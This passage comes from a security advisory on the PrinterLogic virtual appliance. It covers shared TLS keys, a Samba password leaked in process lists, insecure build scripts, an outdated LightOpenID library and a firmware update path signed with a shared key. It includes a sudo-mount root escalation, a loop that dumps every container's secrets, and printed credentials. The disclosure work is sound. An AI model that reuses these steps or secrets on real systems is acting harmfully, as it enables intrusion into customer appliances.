printercloud_worker-pi-reports.1.qimjcm6p2ky6r5cmoytg7buw2
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    5b81f67f8921 printerlogic/scim:1.0.9 "/var/www/app/.docke" 6 hours ago Up 6 
hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_scim.1.kstnz1b2i6h2bqs69azk50l3r
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    0b6c0bc767aa printerlogic/pq:5.0.124 "/var/www/app/.docke" 6 hours ago Up 6 
hours (healthy) 80/tcp, 443/tcp, 9000/tcp 
printercloud_pq.1.rnyjdcu5oxkto8tib6s4esxu7
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    7f52a38a45d1 printerlogic/sched:1.0.18 "/var/www/app/.dock" 6 hours ago Up 
6 hours 80/tcp, 443/tcp, 9000/tcp 
printercloud-appliance_worker-scheduler.1.jn23ywopn7apb9qcplrpe1xcc
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    cbb00388efa6 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 
6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-snmp.1.mw9bfqfog2hm26wk527b5zfls
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    7efd81083d4e printerlogic/gw:1.208.5 "/var/www/app/.docke" 6 hours ago Up 6 
hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_gw.1.c68jpas58ra6qv56mrgavwrab
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    02c86f8d174e printerlogic/users:5.186.1 "/var/www/app/.docke" 6 hours ago 
Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_users.1.3tkj8z26r2jiz5jmmt7wsxzs0
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    375459c3f176 printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 6 hours ago 
Up 6 hours 80/tcp printercloud-appliance_va-cdn.1.xokrstwpp8o7ykgcpwcdldjue
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    b141c9f47ae2 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 6 hours ago 
Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_cpp-ui.1.4zg2dyrl36sdhnnt9wdiahfb4
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    1671f7750d2a mysql:8.0.26 "docker-entrypoint.s" 6 hours ago Up 6 hours 
(healthy) 3306/tcp, 33060/tcp storage_mysql.1.5chx6h1st15x31gc5wpollzii
    out2093911dc1a1 printerlogic/scd:1.0.70 "/var/www/app/.docke" 6 hours ago 
Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_scd.1.ppbu3zen3nxc4a9mbibocypb6
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    a058dddcdc76 printerlogic/authn:1.0.257 "/var/www/app/.docke" 6 hours ago 
Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_authn.1.6nguqh8gx3n1zqromg63zbjhd
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    4b14b2d3e5f4 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 
6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-high.1.o5dzhxx4rwq0qkx52ulm198a9
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    ccd58c6422ae printerlogic/tree:1.0.57 "/var/www/app/.docke" 6 hours ago Up 
6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_tree.1.vbe3pg3zk3db1yytu3q109ejh
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    472cd50c71e3 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 
6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_pi.1.q4rk166ph4at73tk0xhcj48ko
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    7276af63e9db printerlogic/idpi:1.0.6 "/var/www/app/.docke" 6 hours ago Up 6 
hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_idpi.1.c3xqu7i4zfzk5sm3h0kxtxq2e
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    0a4c92b1e67e printerlogic/users:5.186.1 "/var/www/app/.docke" 6 hours ago 
Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-users-queue.1.qmf6gz6cjonf89mg1ppl2xxjk
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    e43ae54c74d1 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 
6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-low.1.9zjdza3fe2gfy10perdw7k8sx
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem

Analysis of the certificate:

    kali% openssl x509 -in pl-local.com.pem -text -noout
                                   
    Certificate:
        Data:
            Version: 3 (0x2)
            Serial Number:
                8f:9c:26:3f:6b:08:96:bf
            Signature Algorithm: sha256WithRSAEncryption
            Issuer: C = US, ST = UT, L = St George, O = PrinterLogic, OU = 
Engineering, CN = PrinterLogic, emailAddress = noreply@xxxxxxxxxxxxxxxx
            Validity
                Not Before: Nov 19 21:58:11 2018 GMT
                Not After : Jun 13 21:58:11 2117 GMT
            Subject: C = US, ST = UT, L = St George, O = PrinterLogic, OU = 
Engineering, CN = PrinterLogic, emailAddress = no-reply@xxxxxxxxxxxxxxxx
            Subject Public Key Info:
                Public Key Algorithm: rsaEncryption
                    RSA Public-Key: (2048 bit)
                    Modulus:
                        00:c6:ef:0f:cb:da:41:de:79:51:16:3f:25:6c:bb:
                        98:3c:98:e1:e8:1f:04:96:e9:8f:d2:e9:95:8a:fe:
                        c7:a8:41:22:e6:a2:5b:50:77:d2:c3:07:e6:de:1e:
                        09:e2:b6:21:af:43:21:d8:03:5c:2d:70:6c:89:8f:
                        fc:1b:3a:5e:10:f4:22:2e:74:12:64:4f:57:48:9c:
                        55:2b:f8:88:75:9b:90:57:78:57:fd:72:11:4f:1a:
                        44:4f:1b:29:ae:b2:f9:64:e6:ec:e1:af:a9:e6:5e:
                        61:f4:5b:f6:24:92:47:ab:5f:f0:06:a0:25:43:36:
                        e8:2d:2e:f0:d1:6f:96:b1:e8:b5:75:e0:8c:2d:99:
                        ea:03:8d:91:82:f3:75:91:ef:5f:8d:7d:70:e9:3d:
                        e2:96:79:e8:19:22:f4:80:45:e6:48:b3:e8:48:e9:
                        33:68:c3:6e:dc:fd:99:c0:96:38:92:a5:05:31:dd:
                        a6:ef:3c:0f:9c:34:86:42:ed:ec:ea:08:35:dd:61:
                        20:a7:90:a8:da:fe:07:5b:77:10:29:ff:4f:9c:20:
                        9a:3a:ac:c7:83:e2:42:22:84:45:de:ba:89:2a:66:
                        c9:8f:1a:59:19:cc:4b:3e:5d:5d:62:ba:9a:1a:91:
                        53:55:ef:ff:f3:ec:9f:4a:28:c5:e7:be:c6:e4:bf:
                        94:bf
                    Exponent: 65537 (0x10001)
            X509v3 extensions:
                X509v3 Authority Key Identifier: 
                    
keyid:75:FB:82:08:93:6B:E3:28:E7:FD:49:45:63:4B:DA:96:55:65:35:58
    
                X509v3 Basic Constraints: 
                    CA:FALSE
                X509v3 Key Usage: 
                    Digital Signature, Non Repudiation, Key Encipherment, Data 
Encipherment
                X509v3 Subject Alternative Name: 
                    DNS:*.pl-local.com
        Signature Algorithm: sha256WithRSAEncryption
             3c:94:ec:2e:cd:b2:0a:85:ab:ee:af:6c:73:ce:52:ed:f4:ea:
             89:17:ca:ce:db:99:84:a1:69:47:03:9e:aa:df:78:ca:b9:dc:
             09:39:2b:cc:3b:c4:ad:81:3d:9d:fb:4d:99:e8:c2:b8:95:99:
             b1:7a:8b:10:00:1c:d3:67:23:f6:47:d9:50:30:c7:4a:ff:6a:
             c1:9e:4e:45:7c:1a:aa:e4:05:24:e2:44:6d:56:43:97:99:61:
             13:a6:b8:4a:b9:c4:76:0f:5b:89:fe:17:f7:8e:82:ee:61:a4:
             23:10:53:e6:67:38:0f:af:dc:33:4e:a5:98:36:e0:16:01:a3:
             3c:e4:71:e5:f7:73:b2:16:22:0d:de:fa:47:a7:72:e2:08:ad:
             b9:66:7c:70:e5:93:39:f2:f3:7e:2e:03:5b:88:b3:cf:db:0d:
             45:2a:1e:28:ba:73:c8:51:b2:5b:a5:05:02:0d:68:59:22:5b:
             e5:6b:23:09:65:82:8a:9e:9a:15:3a:78:e3:22:d8:42:93:83:
             c1:c2:c9:47:10:fc:78:3f:c4:1e:e5:d9:d0:12:1e:e7:c9:01:
             d1:4e:b7:45:0f:ae:0f:84:c4:af:2d:a7:91:d5:99:1d:d7:1e:
             c2:e1:f1:14:6a:03:d4:06:4b:92:ca:9a:e7:68:c9:96:38:2b:
             62:4c:cc:ea
    kali%

An attacker may use this certificate for MITM purposes.



## Details - Samba password available in the process list

It was observed that the samba password is available in the process list:

    root@printerlogic:~# ps -auxw | grep admin
    root      1262  0.0  0.0  14440  1024 pts/3    S+   08:51   0:00 grep 
--color=auto admin
    root      4066  0.0  0.0    780     0 ?        Ss   01:51   0:01 /sbin/tini 
-- /opt/entrypoint.sh -r -s 
appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin
    -u admin;4rd7AqdBvj7ZdGKrvQ9Z -g server signing = mandatory
    root      4798  0.0  0.0   2208    56 ?        S    01:51   0:00 bash 
/opt/entrypoint.sh -r -s 
appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin
    -u admin;4rd7AqdBvj7ZdGKrvQ9Z -g server signing = mandatory
    root@printerlogic:~#

The password is used for the configuration of the `dperson/samba` Docker 
instance:

    root@printerlogic:~# docker ps | grep 34c81cb53b33
    34c81cb53b33        dperson/samba:latest             "/sbin/tini -- /opt/"  
 7 hours ago         Up 7 hours (healthy)   139/tcp, 137-138/udp, 445/tcp    
config_samba.1.0bb6swjcmo97cnlf0rak8l8h3
    root@printerlogic:~# docker exec -it 34c81cb53b33 /bin/bash
    bash-5.0# ps -a
    PID   USER     TIME  COMMAND
        1 root      0:01 /sbin/tini -- /opt/entrypoint.sh -r -s 
appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u 
admin;4rd7AqdBvj7ZdGKrvQ9Z 
        7 root      0:00 bash /opt/entrypoint.sh -r -s 
appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u 
admin;4rd7AqdBvj7ZdGKrvQ9Z -g server
       11 root      0:00 smbd -FS --no-process-group
       58 root      0:00 {smbd-notifyd} smbd -FS --no-process-group
       59 root      0:00 {cleanupd} smbd -FS --no-process-group
     3219 root      0:00 /bin/bash
     3225 root      0:00 ps -a
    bash-5.0#

An attacker who can list processes in the machine can retrieve this password in 
clear-text and proceed to lateral movements.



## Details - Supply Chain attack against the PrinterLogic build system

The solution contains build scripts:

Content of `/opt/version.env`:

    kali# cat /opt/version.env 
    export VERSION=0.0
    export FULL_VERSION=0.0.1374
    export SERVICE_CODE=cicd

The scripts are using insecure communication methods and using external Docker 
images.

The `/opt/docker-compose.yaml` file  will use 
`https://hub.docker.com/r/vladgh/gpg` without checking whether the image is 
malicious or not. Furthermore, it will store the private GPG of 
no-reply+virtual-appliance@xxxxxxxxxxxxxxxx:

Content of `/opt/docker-compose.yaml`:

     1 version: '3.7'
     2 
     3 x-volumes:
     4   - &v-code ./:/opt
     5   - &v-etc ./.docker-config/storage/etc:/etc/printercloud
     6   - &v-storage ./.docker-config/storage/efs:/var/www/efs_storage
     7   - &v-install ./.docker-config/storage/install:/install
     8   - &v-aws ~/.aws:/home/ubuntu/.aws
    68   # ci-import-gpg is used in the bitbucket pipeline for importing GPG 
keys into the image
    69   ci-import-gpg:
    70     image: vladgh/gpg:latest
    71     volumes:
    72       - ./.build/keys:/srv/.gpg
    73       - ./.build/.gnupg:/root/.gnupg
    74     entrypoint: /bin/sh
    75     command: |
    76       -euxc "
    77         ls -la /srv/.gpg
    78         for sec in /srv/.gpg/*/*sec.gpg.gpg; do
    79           gpg --decrypt --pinentry-mode loopback --passphrase 
\"${BUILD_GPG_KEY_SECRET}\" \"$${sec}\" | gpg --import --yes --pinentry-mode 
loopback --passp    hrase \"${GPG_SIGNING_PASSWORD}\";
    80         done
    81         for pub in /srv/.gpg/*/*pub.gpg; do
    82           gpg --import --yes --no-tty \"$${pub}\"
    83         done
    84         echo -e \"trust\n5\ny\n\" | gpg --command-fd 0 --no-tty 
--edit-key '<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>'
    85         gpg --list-keys
    86       "

The `/opt/includes/provision/va-build-node.sh` script will fetch the Virtualbox 
extensions over HTTP and install them as root without checking the signatures 
of these files. An attacker located on the network can get Remote Code 
Execution.

Content of `/opt/includes/provision/va-build-node.sh`:

[code:shell]
 67 # Install vbox extensions
 68 VBOXVERSION=$(VBoxManage --version | sed -r 
's/([0-9])\.([0-9])\.([0-9]{1,2}).*/\1.\2.\3/')
 69 wget -q -N 
"http://download.virtualbox.org/virtualbox/$VBOXVERSION/Oracle_VM_VirtualBox_Extension_Pack-$VBOXVERSION.vbox-extpack";
 70 echo "y" | sudo VBoxManage extpack install --replace Oracle*.vbox-extpack
[/code]

There is also a Local Privilege Escalation for the Jenkins user on the build 
machine, allowing mounting any directory (e.g. /etc) or file and getting root 
access.

Content of `/opt/includes/provision/va-build-node.sh`:

[code:shell]
 13 # Whitelist the jenkins user to run mount or umount as sudo
 14 echo "Installing jenkins sudo permissions for mount/umount"
 15 if [[ $(sudo grep "^jenkins " /etc/sudoers | grep "/bin/mount,/bin/umount" 
| wc -l) -lt 1 ]]; then
 16   echo "# Allow jenkins to mount/umount directories (used for mounting the 
matrix cache)" | sudo tee -a /etc/sudoers
 17   echo "jenkins    ALL=(ALL)    NOPASSWD: /bin/mount,/bin/umount" | sudo 
tee -a /etc/sudoers
 18 fi
[/code]

PoC to get root privileges from the jenkins user:

    $ sudo mount -o bind /bin/sh /bin/mount
    $ sudo mount
    # id
    uid=0(root) gid=0(root) groups=0(root)

The security of the build system of PrinterLogic relies on the DockerHub 
account `vladg`. This account doesn't belong to PrinterLogic.

The transfer of Virtualbox extension pack is done over HTTP without 
verification, and an attacker doing MITM can compromise the build system.

The Jenkins account on the build system has root access because of permissive 
sudo rules.



## Details - Vulnerable OpenID implementation

The OpenID implementation at `/var/www/app/lib/common/lightopenid/openid.php` 
is completely outdated, with a version from 2010, and is also vulnerable to 
Man-In-The-Middle attacks:

Content of `/var/www/app/lib/common/lightopenid/openid.php`:

[code:php]
  1 <?php
  2 /**
  3  * This class provides a simple interface for OpenID (1.1 and 2.0) 
authentication.
  4  * Supports Yadis discovery.
  5  * The authentication process is stateless/dumb.
  6  *
[...]
 42  * The library depends on curl, and requires PHP 5.
 43  * @author Mewp
 44  * @copyright Copyright (c) 2010, Mewp
 45  * @license http://www.opensource.org/licenses/mit-license.php MIT
 46  */
 47 class LightOpenID
[...]
118     protected function request($url, $method='GET', $params=array())
119     {
120         $params = http_build_query($params, '', '&');
121         $curl = curl_init($url . ($method == 'GET' && $params ? '?' . 
$params : ''));
122         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
123         curl_setopt($curl, CURLOPT_HEADER, false);
124         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // [1] ouch
125         curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
126         if ($method == 'POST') {
[/code]

The verification of the SSL certificate is disabled on line 124.

- From the Curl documentation, available at 
https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html:

> WARNING: disabling verification of the certificate allows bad guys to 
> man-in-the-middle the communication without you knowing it. Disabling 
> verification makes the communication insecure. Just having encryption on a 
> transfer is not enough as you cannot be sure that you are communicating with 
> the correct end-point.
> - https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html

The official source code is available at 
https://github.com/iignatov/LightOpenID and has not been maintained since 2016.

This PHP library has been known for years for being insecure. From 
https://marc.info/?l=openid-security&m=155477050605610&w=2:

> In my testing, I found a PHP open source library for OpenID named 
> "LightOpenID" that is also high-risk to SSRF attacks. This PHP library 
> appears to be quite popular as well in the community, and in my opinion, 
> iseven riskier than ruby-openid.  In addition to the SSRF weakness, I was 
> able to demonstrate auth bypass against one affected app by performing whatis 
> known as a Malicious Endpoint Attack (an attacker spoof's an OpenID 2.0 
> Provider (OP), and uses the Blind SSRF to gain unauthorized access to other 
> app user accounts).

This code is vulnerable to Man-In-The-Middle and SSRF.

The version used in the solution is completely outdated, for more than 10 years.

This library is not supported since 2016.



## Vulnerabilities specific to PrinterLogic VA

## Details - Insecure firmware image update using the MS_AUTH_KEY variable

By default, the variable `MS_AUTH_KEY` is imported into a large number of 
Docker instances. Here are the Docker instances with access to this private key.

Finding Docker instances with access to the `MS_AUTH_KEY` environment variable:

    root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo -n 
"$(docker ps|grep $i | awk '{ print $2 }') "; echo -n "$(docker exec -it $i env 
| grep MS_AUTH_KEY)";echo;done
    printerlogic/pi:5.0.6539        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/pi:5.0.6539        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/pi:5.0.6539        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/pi:5.0.6539        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/va-api:1.1.4       
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/tree:1.0.57        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/authn:1.0.257      
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/identity:v1.0.88   
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/users:5.186.1      
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/idpi:1.0.6         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/sched:1.0.18       
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/ebc:1.0.34         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/oncp-pgw:v1.0.21   
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/scss:1.0.39        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    traefik:latest
    printerlogic/scd:1.0.70         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/eb:0.0.4           
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    redis:5-alpine 
    printerlogic/pi:5.0.6539        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/gw:1.208.5         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/cpp-ui:1.80.5      
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/client:25.1.0.551 
    printerlogic/oncp-reg:1.0.15    
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/users:5.186.1      
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/oncp-ofn:v1.0.6    
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/prs:1.0.2          
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/br:1.0.62          
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/edw:1.0.44         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/oncp-hold:v1.0.31  
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/cat:1.0.58         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/qms:1.0.124        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    dperson/samba:latest 
    printerlogic/pi:5.0.6539        
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/pq:5.0.124         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/scim:1.0.9         
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    mysql:8.0.26 
    portainer/agent:latest 
    printerlogic/va-cdn:0.0.435     
MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
    printerlogic/hive:1.1.30 
    root@printerlogic:~#

This variable is used to manage the firmware update processus using the 
`/va-api` route (managed by the Docker instance `va-api`, with the program 
`/opt/va-api`).

By default, the route `/va-api` doesn't implement a standard authentication 
mechanism.

The API `/va-api/v1/update/filename?sign=%s&timestamp=%d` provides the firmware 
update interface, allowing an attacker to upload a malicious firmware image 
(signed using the previous GPG key extracted) to a remote appliance.

The update is a 2-step process:

- - Request to 
`/va-api/v1/update/filename?sign=unique_signature&timeStamp=current_timestamp` 
with the GPG-encrypted firmware image
- - Request to 
`/va-api/v1/update/filename?sign=unique_signature&timeStamp=current_timestamp`

In these 2 steps, there are no session cookies or authentication mechanism 
based on login/password:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Uploading the firmware image

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Installing the firmware image

The update process works using a correct sign value associated with a 
timestamp. This sign value is calculcated using the `MS_AUTH_KEY` value in the 
`/var/www/app/app/Services/SignService.php` file implementing the SignService 
class:

Content of `/var/www/app/app/Services/SignService.php`:

[code:php]
  1 <?php
[...]
 13 class SignService
 14 {
 15     /**
 16      * Return an array that contains the info needed to sign a request
 17      *
 18      * @param string $siteId The siteId to use
 19      *
 20      * @return array
 21      */
 22     public static function getSignInfo($siteId = null)
 23     {
 24         if (!$siteId) {
 25             $siteId = App::getSiteId();
 26         }
 27 
 28         $currentTime = Carbon::now();
 29 
 30         $info = implode(
 31             ",",
 32             [
 33                 'key' => config('auth.microservice_auth_key'), // [1] 
retrieve auth.microservice_auth_key
 34                 'siteId' => $siteId,
 35                 'timeStamp' => $currentTime
 36             ]
 37         );
 38         $sign = Hash::make($info);                             // [2] 
generation of a secure hash
 39 
 40         return [
 41             'sign' => $sign,
 42             'timeStamp' => $currentTime
 43         ];
 44     }
 45 }
[/code]

On line 33, the variable `auth.microservice_auth_key` which is the previous 
environment variable `MS_AUTH_KEY` will be used as a secret key to generate a 
hash on the line 38.

An attacker knowing the `MS_AUTH_KEY` variable can create valid signatures for 
the upload process, without using credentials for authentication.

If an attacker has access to the file `/etc/printercloud/appliance.env` OR 
access to any Docker instance, then the appliance can be completely compromised 
by uploading a malicious firmware image, without administrator credentials.

The compromise of any Docker instance means that the solution is completely 
compromised.

`/etc/printercloud/appliance.env` containing the variable in clear-text with 
insecure permissions:

    root@printerlogic:~# ls -la /etc/printercloud/appliance.env
    -rwxrwxr-x 1 ubuntu docker 858 Jan 27 10:16 /etc/printercloud/appliance.env
    root@printerlogic:~# cat /etc/printercloud/appliance.env
    [...]
    # Anything below this line has been added via script/automation
    VA_VERSION="1.0.730"
    MS_AUTH_KEY="ccb33b57-7960-409c-9d15-b6c5b475c839"
    APPLIANCE_LOG_DIR="/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx"
    APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
    MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"
    [...]
    root@printerlogic:~#

The variable sign will appear in the source of the webpage 
`http://target/admin/generators/management_ts_account.php`. The source code 
comes from the included page 
`/var/www/app/admin/design/management_accountts_pcabout.php`.

Content of `/var/www/app/admin/design/management_accountts_pcabout.php`:

[code:php]
  1 <?php
[...]
 10         'about.va.versions',
 11         [
 12             'versions' => json_encode(VaService::getPackageVersions()),
 13             'date' => VaService::getUpdateTimestamp(),
 14             'updateAvailable' => VaService::isApplianceUpdateAvailable(),
 15             'apiSignInfo' => SignService::getSignInfo('va-api'),
 16             'gwUrl' => config('api.gw.public_url'),
[/code]

Regarding the recovery of the `MS_AUTH_KEY` value using the timestamp and the 
siteId values, it appears this attack is not possible with the current 
hardware. The attacker knows the result of hash(`MS_AUTH_KEY siteId 
timeStamp`), the timestamp value and the siteId, allowing him to test 
MS_AUTH_KEY values:

    known_hash = bcrypt(`MS_AUTH_KEY known_siteId known_timeStamp`, cost = 10)

A bruteforce attack using all different MS_AUTH_KEY values (the '-' characters  
and the 15th character '4' are always at the same position using random uuids 
provided by the Linux kernel) will require testing 16^31 possibilities. This 
bruteforce capacity is not likely to be available for average attackers.

An initial analysis of the `/opt/av-api` (from the Docker instance va-api) has 
been done. This is a HTTP server implementing APIs for the route /v1/*:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Reverse Engineering va-api

It appears the program `/opt/va-api` reads the variable `MS_AUTH_KEY` in 
`/etc/printercloud/appliance.env` to confirm if the sign and timestamp 
variables are valid. This docker has full RW privileges to the 
`/etc/printercloud` directory:

    root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# 
docker exec -it 7943f93771b1 /bin/sh
    / # mount | grep printercloud
    /dev/mapper/printerlogic--vg-root on /etc/printercloud type ext4 
(rw,relatime,errors=remount-ro,data=ordered)
    / #

This program was not analysed but contains a lot of interesting functions (e.g. 
